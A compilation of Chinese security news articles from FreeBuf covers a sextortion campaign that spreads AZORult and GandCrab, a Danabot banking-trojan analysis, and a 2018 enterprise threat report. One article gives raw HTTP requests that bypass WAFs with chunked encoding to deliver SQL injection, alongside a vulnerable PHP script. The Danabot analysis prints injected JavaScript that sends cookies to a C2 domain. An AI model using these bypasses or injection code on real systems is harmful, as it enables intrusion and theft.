色情勒索病毒和信息窃取木马的新套路
Alpha_h4ck 2019-1-18 7:0 转存

1.png

对于网络犯罪分子来说,色情邮件诈骗已经成为了一种搜刮钱财的绝佳途径,而近期的一个新型色情邮件诈骗活动又将此类攻击提升到了一个新的高度。在此活动中,攻击者会欺骗目标用户去安装Azorult信息窃取木马,而这个木马接下来会在目标主机中下载并安装GandCrab勒索软件。

这个攻击活动中,目标用户会收到一封声称“该计算机已被黑客入侵,而且在你浏览色情网站的时候录下了你的视频。”除此之外,这些邮件中还会包含你的用户名和密码,这样可以让这些邮件看起来更加真实,而这些用户密码都是攻击者在之前的数据泄露事件中收集到的。

接下来,诈骗邮件还会要求用户支付比特币,否则攻击者将会把他们上黄网的视频发送给用户通讯录里的好友。很明显,这是很明显的诈骗:因为你的电脑没有被黑,而且攻击者也没有录下那些所谓的视频。

ProofPoint的安全研究专家近期还发现了一种新的网络诈骗活动,这一次攻击者没有直接通过勒索邮件来让目标用户支付比特币,而是“勾引”用户下载攻击者录下的视频(视频中记录了用户的某些“特殊活动”)。此时,用户下载下来的是一个zip压缩文件,其中包含一个可执行文件,而这个文件将会在目标用户的主机中安装恶意软件。

ProofPoint的研究人员在报告中写到:“我们观察到了一个色情勒索活动,其中涉及到的URL跟AZORult有关,攻击者最终会在目标设备上安装GandCrab勒索软件。”

用户下载下来的文件命名风格形如“Foto_Client89661_01.zip”,色情勒索邮件的完整内容如下:

2.png

大致意思是:“告诉你个坏消息,2018年9月8日我黑掉了你的电脑,拿到了你电脑的完整控制权。你的邮箱地址是xxx,密码是xxx。我怎么做到的呢?你上网用的路由器存在漏洞,我黑进了你的路由器,植入了恶意代码,所以你上网的时候电脑就会感染木马病毒。我拿到了你电脑里面所有的数据,包括网站浏览记录、通讯录和各种文件。本来我只想问你要点比特币来玩玩,但是我发现你一天到晚都在上“黄网”。所以,emm….我不仅截图了,而且还录了你看色情内容的视频。为了证明我说的东西,你可以自己下载下来看一看,地址也给你啦!你也不想我把这些东西发给你的亲朋好友吧?那就赶紧付钱吧,我也不要求很多嘛!速度给钱!”

3.png

这种新的诈骗策略杀伤力会更大,因为收件人第一反应会感到恐慌,然后他们就会去下载视频看看“对方”说的到底是不是真的。下载文件之后,他们就会打开压缩文件,但这个时候他们就会发现自己瞬间感染了两种不同类型的恶意软件。

感染的第一个恶意软件为AZORult,它的作用是收集目标主机中的信息,例如登录账号、cookie、聊天记录和其他文件等等。接下来,它还会安装GandCrab勒索软件,并对用户计算机中存储的数据进行加密。

那么这个时候问题就更加严重了,因为刚才你只是被诈骗邮件吓到了,但现在你要面对的就是真正的麻烦了。

因此,我们不得不一而再再而三地提醒各位,不要轻易相信陌生人给你发送的任何邮件。在打开这些邮件或者下载附件之前,先上网看看有没有其他人遇到过跟你类似的事情,这样你就可以更好地保护自己了。

*参考来源:bleepingcomputer,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

原文阅读

利用分块传输吊打所有WAF
落叶纷飞 2019-1-18 5:30 转存

在看了bypassword的《在HTTP协议层面绕过WAF》之后,想起了之前做过的一些研究,所以写个简单的短文来补充一下文章里“分块传输”部分没提到的两个技巧。

技巧1 使用注释扰乱分块数据包

一些如Imperva、360等比较好的WAF已经对Transfer-Encoding的分块传输做了处理,可以把分块组合成完整的HTTP数据包,这时直接使用常规的分块传输方法尝试绕过的话,会被WAF直接识别并阻断。

我们可以在[RFC7230]中查看到有关分块传输的定义规范。

4.1.  Chunked Transfer Coding

   The chunked transfer coding wraps the payload body in order to
   transfer it as a series of chunks, each with its own size indicator,
   followed by an OPTIONAL trailer containing header fields.  Chunked
   enables content streams of unknown size to be transferred as a
   sequence of length-delimited buffers, which enables the sender to
   retain connection persistence and the recipient to know when it has
   received the entire message.

     chunked-body   = *chunk
                      last-chunk
                      trailer-part
                      CRLF

     chunk          = chunk-size [ chunk-ext ] CRLF
                      chunk-data CRLF
     chunk-size     = 1*HEXDIG
     last-chunk     = 1*("0") [ chunk-ext ] CRLF

     chunk-data     = 1*OCTET ; a sequence of chunk-size octets

   The chunk-size field is a string of hex digits indicating the size of
   the chunk-data in octets.  The chunked transfer coding is complete
   when a chunk with a chunk-size of zero is received, possibly followed
   by a trailer, and finally terminated by an empty line.

   A recipient MUST be able to parse and decode the chunked transfer
   coding.

4.1.1.  Chunk Extensions

   The chunked encoding allows each chunk to include zero or more chunk
   extensions, immediately following the chunk-size, for the sake of
   supplying per-chunk metadata (such as a signature or hash),
   mid-message control information, or randomization of message body
   size.

     chunk-ext      = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )

     chunk-ext-name = token
     chunk-ext-val  = token / quoted-string

   The chunked encoding is specific to each connection and is likely to
   be removed or recoded by each recipient (including intermediaries)
   before any higher-level application would have a chance to inspect
   the extensions.  Hence, use of chunk extensions is generally limited

通过阅读规范发现分块传输可以在长度标识处加上分号“;”作为注释,如:

9;kkkkk
1234567=1
4;ooo=222
2345
0
(两个换行)

几乎所有可以识别Transfer-Encoding数据包的WAF,都没有处理分块数据包中长度标识处的注释,导致在分块数据包中加入注释的话,WAF就识别不出这个数据包了。

现在我们在使用了Imperva应用防火墙的网站测试常规的分块传输数据包:

POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked

9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1
d
9
&a=1	and	
3
2=2
0
(两个换行)

返回的结果如下图所示。

可以看到我们的攻击payload “and 2=2”被Imperva的WAF拦截了。 

这时我们将分块传输数据包加入注释符。

POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked

9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1;testsdasdsad
d
9;test
&a=1	and	
3;test44444
2=2
0
(两个换行)

返回的结果如下图所示。

可以看到Imperva已经不拦截这个payload了。

技巧2 Bypass ModSecurity

众所周知ModSecurity是加载在中间件上的插件,所以不需要理会解析http数据包的问题,因为中间件已经帮它处理完了,那么无论使用常规的分块还是加了注释的分块数据包,ModSecurity都能直接获取到完整的http数据包然后匹配危险关键字,所以一些基于ModSecurity做的WAF产品难道就不受影响吗?

接下来我们在Apache+ModSecurity环境做测试。

sql.php代码如下:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);
$con = mysql_connect("localhost","root","");
if (!$con)
{
    die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$id = $_REQUEST["id"];
$sql = "select * from user where id=$id";
$result = mysql_query($sql,$con);
while($row = mysql_fetch_array($result))
{
    echo $row['name'] . " " . $row['password']."\n";
}
mysql_close($con);
print "========GET==========\n";
print_r($_GET);
print "========POST==========\n";
print_r($_POST);
?>
<a href="sqli.php?id=1"> sdfsdf </a>

ModSecurity加载的规则拦截了请求包中的关键字“union”。

下面我们的请求和返回结果如下:

请求:

http://10.10.10.10/sql.php?id=2%20union

返回:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /sql.php was not found on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>

可以看到我们的“union”关键字被拦截了。

接下来我们传输一个畸形的分块数据包看看。

请求:
POST /sql.php?id=2%20union HTTP/1.1
......
Transfer-Encoding: chunked

1
aa
0
(两个换行)


返回:
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
========GET==========
Array
(
   [id] => 2 union
)
========POST==========
Array
(
)

可以看到虽然apache报错了,但是因为apache容错很强,所以我们提交的参数依然传到了php,而我们的ModSecurity并没有处理400错误的数据包,最终绕过了ModSecurity。

接下来我们把ModSecurity的规则改为过滤返回数据中包含“root”的字符串,然后在sql.php脚本中加入打印“root”关键字的代码。

接着我们做如下测试:

请求:

http://10.10.10.10/sql.php?id=1

返回:
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /sql.php
on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>

因为sql.php脚本中返回了带有“root”的关键字,所以直接就被ModSecurity拦截了。这时我们改为发送畸形的分块数据包。

请求:
POST /sql.php?id=1 HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 16

3
123
1
0
(两个换行)


返回:
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
root 123456
========GET==========
Array
(
   [id] => 1
)
========POST==========
Array
(
)

通过两个测试可以发现使用畸形的分块数据包可以直接绕过ModSecurity的检测。这个问题我们在2017年4月已提交给ModSecurity官方,但是因为种种问题目前依然未修复。

最后

本文是在《在HTTP协议层面绕过WAF》基础上作了一些简单的补充,文中介绍的方法对于常规的WAF基本上能直接Bypass,并不能绕过Filter、代码层通用防注之流。分块传输还有很多有趣的玩法,欢迎各位朋友一些交流学习。

*本文作者:luoye、00theway、zonadu@360安服华南攻防团队,360观星实验室,转载请注明来自FreeBuf.COM

原文阅读

针对意大利的DanabotPayload分析
Alpha_h4ck 2019-1-18 5:0 转存

前言

就在几天前,Danabot(一个臭名昭著的僵尸网络)的新型变种席卷了意大利境内的联网设备。在此之前,Proofpoint和Eset等多家安全公司都对相同威胁的其他样本(2018年5月针对澳大利亚地区的攻击Payload)进行过分析。近期,Cybaze-Yoroi ZLab还对最近攻击意大利地区的Danabot新型变种进行了剖析,这个Danabot变种主要利用钓鱼邮件(主题为“Fattura”)进行攻击,嵌入在恶意附件中的代码可以利用Microsoft Office的宏功能来下载恶意DLL Payload。

技术细节分析

这个恶意软件样本会尝试通过加密SSL信道连接远程主机(149.154.157.104),然后下载其他恶意组件,并从文件系统中将自身删除。与此同时,它还会在注册表键“HKLM\SYSTEM\CurrentControlSet\Services”中设置一个系统服务,而这些注册表键主要负责加载“C:\ProgramData\D93C2DAC”(只读、隐藏)中的动态链接库文件(DLL):

1.png2.png

这个隐藏目录中包含两个可执行组件,即“D93C2D32.dll”和“D93C2D64.dll”,其实它们两个是一样的,只不过一个是32位另一个是64位而已,具体执行哪一个还需要根据目标主机的系统架构来确定。

接下来,恶意软件还会进行至少两次的恶意代码库加载,不过每一次所使用的参数都不同,具体需要根据调用的导出函数来确定:

3.png4.png

如上图所示,恶意软件会导出八个关键函数:“f1”, “f2”, “f3”, “f4”, “f5”, “f6”, “f7”和“f8”。“f1”函数负责将恶意软件变种安装到目标系统中,它是一个安装函数,并且会在安装过程中调用函数“f2”和“f3”。函数“f4”和“f5”负责保证恶意软件在目标系统中的持续运行,其中“f5”会设置一个系统转发代理(本地端口1080),这样一来,目标设备的所有联网数据都需要经过这个代理,而恶意软件就可以拦截或篡改网络流量了。与此同时,函数“f4”负责管理网络流量并进行中间人攻击。每当目标设备向网络发送一次DNS调用请求,恶意软件就会将其与自身硬编码的银行网站地址进行比对,如果匹配成功,则拦截并篡改请求数据,而且它还会窃取类似用户名、密码和会话Cookie这样的敏感信息。

5.png

在上述函数的执行过程中,恶意软件还会搜索存储在目标设备Web浏览器数据目录中的敏感信息,就连Google Chrome和Mozilla Firefox都无法幸免于难。恶意软件会收集存储在浏览器中的用户凭证,然后把收集来的数据存储在一个临时SQLite数据库中,数据库路径为“C:\WINDOWS\TEMP”。

6.png

浏览器中间人攻击

为了执行基于浏览器的中间人攻击,恶意软件会设置一个如下图所示的系统转发代理。这样一来,它就可以拦截目标设备上所有的进出流量了。当目标用户请求一个特定Web页面时,恶意软件会向该页面中注入恶意JavaScript代码,并尝试拦截和提取类似个人数据、账号凭证和PIN码之类的敏感信息。代理的设置和管理由恶意DLL中的函数“f4”负责。

7.png8.png

通过对恶意软件样本中提取出的浏览器中间人攻击配置进行了分析后,我们获取到了该恶意软件所设置的完整的Web页面拦截列表:这款恶意软件变种主要针对的是金融机构(大范围)的用户,其中绝大多数都是意大利银行,例如Bancoposte, Intesa San Paolo, Banca Generali, BNL, Hello Bank和UBI Banca等等。除了银行网站之外,列表中还包括一部分电子邮件服务提供商,比如说Tim、雅虎、Hotmail、Gmail以及意大利本地的邮件服务提供商。

9.png10.png

Web注入

注入在目标Web页面中的恶意JavaScript会将窃取来的信息发送至远程C2服务器,其中包括会话Cookie(可帮助攻击者渗透已验证的会话)在内。我们可以从下面这段代码中看到,注入的恶意代码来自于http://equityfloat[.]pw/hc/myjs28frr_s51.js。

11.png

注入的攻击代码会访问恶意PHP资源- “/my9rep/777.php”,并发送bot ID详情以及当前的会话Cookie。

var wwww = 'https://equityfloat.pw/';

wwww= "https://" + document.location.host + "/";

var waitdiv = "<center id=\"fkwt\" class=\"fkwt\"><br/> Poczekaj aż Twój komputer zostanie zidentyfikowany. Może to potrwaćtrochę czasu... <br/><img src=\"" + wwww +"/my9rep/777.php?imgto=wait\"></img></center>";

  var waitfk = "";

  var waitlok = "<div><center><br/> Prowadzone sa prace modernizacyjne w celu jak najszybszegoprzywrocenia dzialania systemu.<br/>Przyblizony czas modernizacji wynosikilka godzin.<br/>Przepraszamy za tymczasowe utrudnienie iniedogodnosci.<br/><center></div>";

 

  var netbot = "frr";

  var rem777bname2 = "";

  var tbid =my7ajx("#myjs1[data-botid]");

  if (tbid.length > 0) rem777bname2 =tbid.attr("data-botid");

  var loca = location.href;

  var tyyp = true;

 

  var apan = wwww +"/my9rep/777.php?typ=" + document.location.host +"&sub=" + netbot + "&b=2&inf=" + rem777bname2;

 

  var args = {};

  var tmp1;

  var tkstate = 1;

  var lg = "",

  ps = "",

  tk = "";

  var lgf;

  var pss;

  var tabl;

  var tabltr;

  var btn;

  var clickfnc;

  var ansq = false;

而且我们还可以看到,恶意软件会使用自定义的JQuery脚本:“vartbid=my7ajx(“#myjs1[data-botid]”);”来给受感染主机设置bot ID,这个bot ID需要跟C2服务器“equityfloat.]com”的PHP页面地址进行拼接。

var apan = wwww + "/my9rep/777.php?typ=" + document.location.host +"&sub=" + netbot + "&b=2&inf=" + rem777bname2;

这样一来,攻击者就可以在MitB代理成功注入恶意代码的第一时间接收到通知消息了。

总结

Danabot威胁在去年就已经将它们的攻击业务覆盖到意大利了,尤其是在2018年11月份,当时CSDC在进行安全检测活动时就曾拦截到了这种大规模攻击威胁。不过根据当时研究人员对恶意样本的分析,那时的Danabot主要针对的是意大利普通用户以及企业组织,并没有主要针对传统银行机构。

*参考来源:securityaffairs,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

原文阅读

2018企业网络安全年度报告 | 勒索病毒、挖矿木马是企业安全两大核心威胁
腾讯电脑管家 2019-1-18 2:0 转存

一、前言

2017年对企业安全影响最深远的事件是以WannaCry为代表的勒索病毒爆发,给许多企业带来了灭顶之灾。随着数字加密币的普及,数字加密币天然的匿名性、非法交易难以追踪的特性令病毒木马黑色产业如获至宝。2018年,数字加密币已彻底改变了病毒木马黑色产业,使勒索病毒和挖矿木马成为影响企业网络安全的两大核心威胁。 

勒索病毒直接要求受害者向指定数字加密币钱包转帐;挖矿木马传播者疯狂入侵企业网络,利用企业IT资源实现0成本挖矿(不管比特币、门罗币、以太坊币跌成什么样,利用僵尸网络挖矿不需要购买矿机,也不需要自己付电费)。而暗网平台大量存在的非法交易,更是数字加密币持续火爆的土壤。 

勒索病毒和挖矿病毒几乎使用完全一样的入侵传播路径:利用黑客技术入侵企业服务器,以此为跳板,再利用轻易获得的漏洞攻击工具在企业内网扩散。是传播勒索病毒,还是种植挖矿木马,仅仅取决于攻击者的目的。企业网管可以将挖矿木马看作企业网络安全的“体温表”:若经常发现挖矿木马在内网运行而未及时得到有效控制,距离勒索病毒破坏的灾难爆发就为期不远了。

二、企业安全现状

1.  企业终端病毒感染概况:

根据腾讯御见威胁情报中心数据显示,每周约18%企业发生过病毒木马攻击事件。

2018企业网络安全年度报告

从企业染毒的类型看,挖矿类病毒比例逐渐提升,勒索类病毒依然占据比较高的比例。这两大类病毒在总体感染量总占比似乎并高,但这两类病毒造成的危害后果,却是对企业网络安全最严重的。 

这两类病毒均同时使用了蠕虫式的传播渠道:比如大量使用永恒之蓝漏洞攻击包,利用Web组件的高危漏洞从企业网络边界入侵,在局域网内暴力破解多个网络服务(3389、FTP、SQL弱口令等)主动扩散方式。一般的蠕虫式和感染型病毒以破坏性影响为主,这两类影响大多都是可逆的,清除病毒修复文件即可恢复正常,其感染后果跟勒索病毒不可同日而语。 

而挖矿木马,是看起来似乎没有存在感,挖矿木马隐蔽性极好。只在进行挖矿操作时,才大量消耗电脑系统资源,除了比较有经验的网民一般难以发现。挖矿木马在电脑中长期存在,企业宝贵的计算资源被无谓浪费掉。 

2018年挖矿木马控制肉鸡电脑0成本大量挖矿,推动整个黑色产业将比特币、门罗币、以太坊币等数字加密币作为非法交易的流通媒介,令黑产变现比以往更加简单和直接,已深刻影响病毒木马黑产生态。 

2018企业网络安全年度报告 风险软件常被中国网民称之为流氓软件,占据着一半的感染比例,其危害主要是使用体验上的困扰。风险软件的行为包括“流氓推广”、“刷流量”、“骚扰广告”、“劫持网络流量”等恶意行为,相对其他病毒危害来说,这类软件的影响相对处于灰色地带。风险软件的高感染量,提醒广大企业网管仍应重视对风险软件的防御。

2.  行业病毒感染类型分布

1)   不同行业感染病毒类型分布情况:

从感染病毒分布情况对比看,政府、教育、医疗等传统感染更容易感染勒索、挖矿病毒,这也是为什么安全厂商频繁爆出,医疗、学校等机构感染勒索、挖矿病毒。而科技、金融等新兴行业则更容易受风险软件的威胁,对科技、金融等行业,窃取机密往往成为恶意攻击的首选目的。

2018企业网络安全年度报告

2)   行业感染病毒对比

从各行业感染病毒对比上看,医疗、教育行业感染病毒最为严重,金融行业感染病毒相对最少。同时可以发现,风险软件各行业感染情况相对比较平均,而勒索、挖矿病毒则主要集中在教育、医疗行业。

2018企业网络安全年度报告

3)   不同行业访问风险站点类型分布

从访问风险网站分布看,政府、教育、医疗等传统行业,容易受社工欺诈、虚假销售等网站影响,而科技、金融行业则更容易受信息欺诈影响。

2018企业网络安全年度报告

4)   行业访问风险站点对比

从各行业访问风险站点对比来看,社工欺诈和虚假销售在各行业相对比较普遍。其中,政府受信息欺诈影响最小,而医疗行业受虚假销售影响最大。

2018企业网络安全年度报告

3.  企业终端系统安全状况

1)   企业终端操作系统安全指数

根据腾讯御见威胁情报中心数据监测,并且结合系统脆弱性和系统受安全事件影响对企业用户使用的Windows系统做不同版本的安全度评估。使用得出不同版本的系统安全指数,使用Win10的用户系统安全度更高,使用WinXP的用户安全度最底

2018企业网络安全年度报告

2)   企业终端漏洞修复情况

黑客入侵活动中,最常用的手法是利用系统漏洞达到入侵的目的,而针对对企业用户终端的数据统计发现,约83%的Windows操作系统存在高危漏洞未及时修复。

2018企业网络安全年度报告

3)   企业终端脆弱性配置情况

终端脆弱性是指存在风险系统配置项,例如未设置登录密码、存在开放的高危端口,防火墙被关闭等等。安全地配置系统可以有效防止高危入侵行为。

(1) 企业终端Windows操作系统存在高风险配置比例

企业终端Windows操作系统配置情况较好,存在脆弱性配置的比例占14%,部分企业资产管理不到位,导致存在部分机器有所遗漏。

2018企业网络安全年度报告 (2) 存在高风险脆弱性配置的类型分布情况

从存在的高风险脆弱性配置类型来看,主要有身份鉴别和网络安全访问控制风险,即存在空口令登陆和允许远程匿名访问的风险。一旦被黑客利用,黑客可远程登录计算器执行任意操作,带来信息泄露等严重问题。

2018企业网络安全年度报告

4.  2018企业威胁病毒流行趋势

1)   勒索病毒

勒索病毒,是2018年破坏性最强影响面最广的一类恶意程序,通常是通过恐吓、绑架用户文件或破坏用户计算机等方式,向用户勒索钱财。早期的勒索病毒通常是通过钓鱼邮件、社工等方式传播,通常传播规模量比较小,随着2017年NSA方程式工具泄露,“永恒之蓝”工具被大量利用,加之近年数字加密币的流行,勒索病毒感染正处于愈演愈烈的态势。

2018企业网络安全年度报告 2018年对企业安全来说,首要安全威胁当属勒索病毒,国内活跃的勒索病毒家族如下:

2018企业网络安全年度报告 而针对高价值的企业服务器勒索成为了勒索病毒攻击的首选目标:

2018企业网络安全年度报告

 (1) 2018.4月,腾讯御见威胁情报中心发现Satan勒索病毒主攻数据库,对数据库各种文件加密勒索,加密完成后,会用中英韩三国语言索取0.3个比特币作为赎金,并威胁三天内不支付不予解密。

2018企业网络安全年度报告

 (2) 2018.4月,腾讯御见威胁情报中心接到某公司反馈,该公司数台Windows服务器中了勒索病毒,电脑除了C盘,其他磁盘分区都被整个加密,造成公司业务停摆,并且勒索金额高达9.5个比特币(约40万人民币)。

2018企业网络安全年度报告

 (3) 2018.4月,腾讯御见威胁情报中心接到某公司反馈,服务器被黑客入侵并且数据已被勒索病毒家族加密。

2018企业网络安全年度报告 (4) 2018.5月,腾讯御见威胁情报中心发现,GandCrab勒索病毒更新,并且目标主要针对企业服务器。

(5) 2018.6月,腾讯御见威胁情报中心监测到,Crysis家族勒索病毒针对企业服务器攻击迅速上涨。

(6) 2018.7月,腾讯御见威胁中心发现,湖北某医院遭撒旦(Satan)勒索病毒袭击。

(7) 2018.8月,台积电遭勒索病毒攻击而停产。

2018企业网络安全年度报告

 (8) 2018.9月,腾讯御见威胁情报中心监测到,国内某重要通信企业多地子公司发生GlobeImposter勒索病毒攻击事件,内网多台机器被感染包括服务器。

(9) 2018.9月,国内部分国土部门专网受勒索病毒攻击,部分省份不动产登记系统暂停使用。

(10)2018.9月,腾讯御见威胁情报中心监测到,GandCrab 再次升级,通过暴力破解Tomcat 服务器弱密码实现入侵,并且下载勒索病毒和挖矿木马,实施勒索和挖矿。

(11)2018.11月,知名半导体公司合晶科技位于大陆的工厂全线感染WannaCry勒索病毒,造成产线瘫痪,工厂全部停产。

一方面,勒索病毒对企业伤害巨大,一旦企业内网有资产中了勒索病毒,其常见文档文件会被加密,无法正常使用,并且勒索病毒有极大的可能会在内网传播,给企业造成不可挽回的损失。另一方面,勒索病毒利用成本越来越低,而收益相对较高,在黑市上只要数百元便可以获得一个勒索病毒,但勒索成功一次就可以获利数千元,甚至数万元。

目前数字加密货币日益普及,在世界范围内处于监管的空白地带,利用数字加密货币达成非法交易,难以被执法部门追踪,勒索病毒制作/发布者因此更加肆无忌惮!而勒索病毒发布者通常都是有目的地针对企业发起攻击,勒索企业获得赎金的机率远高于勒索个人用户,可以预测2019年勒索病毒依然会是企业安全的重大威胁。

2)   挖矿木马

挖矿木马,是近年兴起的网络安全威胁,2017年下半年开始进入普通用户的视野,而2018年开始流行。中挖矿木马的计算机,其计算机资源被大量占用用于数字加密币的挖掘。挖矿木马的流行一定程度上受数字加密币的价值影响。以最常见的比特币和门罗币为例,2017下半年比特币和门罗币价值暴涨,2018年下半年有下降,但价值扔高于2017年之前,所以整个2018年勒索木马的流行趋势总体呈上涨趋势。

2018企业网络安全年度报告

(数据来源于coinmarketcap.com) 

根据腾讯御见威胁情报中心数据监测,2018企业用户中挖矿木马的总体呈上升趋势。

2018企业网络安全年度报告 而企业服务器同样成为挖矿木马攻击的常见目标。

2018企业网络安全年度报告

 (1) 2018.4月,腾讯见威胁情报中心发现,PhotoMiner木马入侵FTP、SMB服务器扩大传播,并实施挖矿。

(2) 2018.4月,腾讯见威胁情报中心发现,大批企业网站WEB服务器被黑客组件利用ApacheStruts2 漏洞入侵,并植入挖矿木马。

(3) 2018.5月,腾讯见威胁情报中心监测到,黑客利用Drupal系统漏洞,大批使用Drupal系统的网站被植入挖矿木马。

2018企业网络安全年度报告 (4) 2018.6月,腾讯御见威胁情报中心发现,Nitol木马被黑客植入到攻陷的服务器上,利用服务器挖矿。被攻击的服务器还包括某省公路路政系统。

2018企业网络安全年度报告

 (5) 2018.7月,腾讯御见威胁情报中心再次监测到,利用Apache Struts2高危漏洞入侵服务器,植入KoiMiner挖矿木马。

2018企业网络安全年度报告 (6) 2018.7月,腾讯御见威胁情报中心发现,北京某连锁医疗机构SQL Server服务器遭黑客入侵,并且被植入挖矿木马,服务器硬件资源被挖矿病毒大量消耗,影响正常的企业业务。

2018企业网络安全年度报告

 (7) 2018.7月,腾讯御见威胁情报中心发现,广东重庆多家三甲医院服务器遭暴力入侵,攻击者暴力破解医院服务器的远程登录服务,利用被攻陷的服务器挖矿。

(8) 2018.7月,腾讯御见威胁情报中心发现,北京某手游公司官网配置不当,服务器被入侵,其官网被植入挖矿木马

(9) 2018.7月,腾讯御见威胁情报中心发现,陕西多家企业网站被植入JS网页挖矿木马。

(10) 2018.12月,腾讯御见威胁情报中心发现,8220团伙再次入侵企业服务器,利用企业服务器挖矿。

挖矿木马依然持续活跃中,预测2019年挖矿木马依然是企业安全的重要威胁之一。

3)   风险软件

风险软件:是指具有“恶意行为”的软件,这类软件通常附带部分常用的功能,如“日历”、“解压缩”等用户常用的功能,通过误导安装、捆绑安装安装等渠道安装在用户的机器上,进行长期的潜伏,伺机实施暗刷流量、流氓推广、窃取隐私、挖矿、恶意广告等行为。中国用户习惯称为“流氓软件”、“间谍软件”等。 

如2018年风险软件影响比较大的事件之一是: 新型恶意软件攻击针对2018美国中期选举关键州的选民,其意图是收集有关活动和选民的数据,然后利用这些数据发起有针对性的后续攻击。

2018企业网络安全年度报告

对企业用户来说,风险软件很可能会窃取企业内部机密信息,广大企业用户应提高警惕。

4)   感染型病毒

感染型病毒运行后会将病毒代码加入其它程序中,进而感染全盘,严重时可导致计算机崩溃无法运行。早期的感染型病毒主要目的是破坏目标计算机,而近期活跃的感染型病毒附带后门功能,病毒的操纵者可以远程连接到用户计算机。 

感染型病毒,破坏性强,清除相对困难,又因为企业内网经常存在文件共享等需求,感染型病毒容易在内网传播。 

根据腾讯御见威胁情报中心数据监测,企业内部中毒的类型中约6.4% 是感染型病毒。感染型病毒作为一种相对古老的病毒类型,长期活跃在各企业内网中,预测2019年感染型病毒依然是企业安全的主要威胁之一

5)   蠕虫、伪装文件夹病毒

最常见的蠕虫病毒是“伪装文件夹”病毒,伪装文件夹病毒通常通过、移动硬盘、U盘等移动介质及网络驱动器传播。病毒入侵电脑后,可远程下载、更新其它病毒模块,如盗号、挖矿等。 

病毒运行后,会将移动设备、网络驱动器内的原有文件隐藏,并创建一个与原有文件图标一样的快捷方式,诱导用户点击。当用户将U盘、移动硬盘拿到其它机器上使用时,一旦点击其伪装的快捷方式时,病毒马上运行,并实施感染电脑上其它正常的文件。对企业内网来说,用U盘、移动硬盘、网络驱动器交互文件频率比较高,所以这类病毒更容易在企业内网中传播。

三、2018其它典型企业安全事件

2018年影响企业安全的事件除了勒索病毒传播依然猖獗,挖矿病毒异军突起外,还有针对行业性的攻击、针对软件供应链的攻击等依然持续不断。

1.   “商贸信”病毒攻击

在17年12月全球范围内爆发的“商贸信”病毒,在18年6月再次爆发,每天定向投放到中国进出口企业的攻击邮件有数千封之多。不发黑客将发件人伪装成专业从事国际运送业务的知名企业客服人员,并搭配极具说服力的正文内容,诱导收到邮件的业务人员下载查阅附件。一旦用户不慎点开邮件附件文档,文档内嵌的恶意代码会自动下载Loki Bot木马程序并运行,造成用户电脑中的机密信息泄露。

2018企业网络安全年度报告

2.  针对保险、母婴等行业定向攻击

18年6月,腾讯御见威胁情报中心监测到一批木马,通过最传统的鱼叉攻击,诱饵采用rar压缩包的形式进行投递,对保险、母婴等行业定向攻击,实施商业间谍活动。

3.  供应链攻击

12月,广东省深圳市某知名软件厂商服务器被攻陷,导致客户端软件在更新时,被重定向至黑客服务器下载恶意病毒木马,10万用户遭到了感染。

2018企业网络安全年度报告

四、2019企业网络安全威胁趋势——供应链攻击值得高度关注

纵观近几年网络攻击趋势,针对软件供应链的攻击变得愈发频繁,从早些年爆出的“棱镜计划”,到近期的Heartbleed漏洞、NotPetya勒索病毒爆发以及爆出的各种数据泄露事件,供应链攻击不再是高级攻击的专属,而变得与广大用户息息相关,随时都会带来严重损害。 

供应链是涉及生产、分配、处理、维护货物的活动系统,以便将资源从供应商转移到最终消费者手中。在互联网行业中,该供应链环节也完全适用。一个软件从供应商到消费者使用,会经历开发、分发安装、使用、更新的环节,而供应链攻击则是黑客通过攻击各环节的漏洞,植入恶意病毒木马,达到传播木马的目的。 

由于供应链攻击对于被攻击者而言没有任何感知,因此一直被黑客所青睐。以往供应链攻击往往多见于APT(高级持续性威胁)攻击,而在近几年,供应链攻击趋势开始有稳定增长,攻击事件层出不穷,日常网络攻击中越来越多的见到供应链攻击的手段。

2018企业网络安全年度报告 下面对供应链各环节的攻击进行介绍

1.  开发环节

对开发环节的攻击,是指对软件的开发工具、环境、源码进行攻击、污染,导致软件一经编译成功便带有恶意病毒木马,随后所有该软件的分发渠道全部带毒。当用户安装使用软件时,同时电脑也中了病毒木马。 

典型攻击事例:远程终端管理软件Xshell后台被植入后门。Xshell是NetSarang公司开发的安全终端模拟软件,在2017年7月发布的软件nssock2.dll模块被发现有恶意后门代码,并且该文件带有合法签名,因此能够轻易绕过安全软件的查杀。该事件导致10万用户存在被盗取远程登录信息的风险。

2.  分发安装环节

分发安装环节是指在正常软件的分发、下载、传播、安装等环节中,进行病毒木马的捆绑,使得用户在安装使用时,无形中也在电脑上安装了病毒木马。

17年6月,由安全厂商CheckPoint曝光的“FireBall(火球)”,通过野马浏览器等多款流氓软件传播。用户在安装这些看似正常的软件时,“FireBall(火球)”也同时安装在了电脑上。“FireBall(火球)”传播量级达到了千万级,会劫持浏览器的首页及标签页,影响用户的正常使用。

3.  使用环节

使用环节指用户在正常使用软件时,软件已被黑客恶意篡改,通过社工等方式,引导用户进行高风险操作,导致电脑中恶意病毒木马。 

